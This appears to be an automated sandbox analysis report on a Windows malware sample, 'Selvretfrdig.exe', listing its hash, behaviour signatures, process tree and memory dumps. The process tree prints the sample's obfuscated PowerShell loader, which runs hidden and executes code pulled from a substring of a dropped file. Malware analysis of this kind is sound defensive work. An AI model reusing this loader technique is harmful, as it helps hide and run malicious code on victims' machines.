Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20240704-en - resource tags
- submitted
09/07/2024, 09:49
General
- Target Selvretfrdig.exe
- Size 389KB
- Sample240709-ltcejazfkf
- SHA256 f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Selvretfrdig.exe"C:\Users\Admin\AppData\Local\Temp\Selvretfrdig.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3260 -s 27923⤵
- Program crash
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-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3260 -ip 32601⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_td5xlhxv.kv4.ps1
Sperlingkasserne.Gla
memory/3260-21-0x0000000073720000-0x0000000073ED0000-memory.dmp
memory/3260-28-0x0000000006830000-0x000000000687C000-memory.dmp
memory/3260-13-0x0000000005840000-0x0000000005862000-memory.dmp
memory/3260-14-0x00000000058E0000-0x0000000005946000-memory.dmp
memory/3260-12-0x0000000073720000-0x0000000073ED0000-memory.dmp
memory/3260-15-0x0000000006190000-0x00000000061F6000-memory.dmp
memory/3260-9-0x000000007372E000-0x000000007372F000-memory.dmp
memory/3260-26-0x0000000006200000-0x0000000006554000-memory.dmp
memory/3260-27-0x00000000067E0000-0x00000000067FE000-memory.dmp
memory/3260-11-0x0000000005A60000-0x0000000006088000-memory.dmp
memory/3260-29-0x0000000006D60000-0x0000000006DF6000-memory.dmp
memory/3260-30-0x0000000006D10000-0x0000000006D2A000-memory.dmp
memory/3260-31-0x00000000077D0000-0x00000000077F2000-memory.dmp
memory/3260-32-0x0000000007DB0000-0x0000000008354000-memory.dmp
memory/3260-10-0x0000000003230000-0x0000000003266000-memory.dmp
memory/3260-34-0x00000000089E0000-0x000000000905A000-memory.dmp
memory/3260-36-0x0000000073720000-0x0000000073ED0000-memory.dmp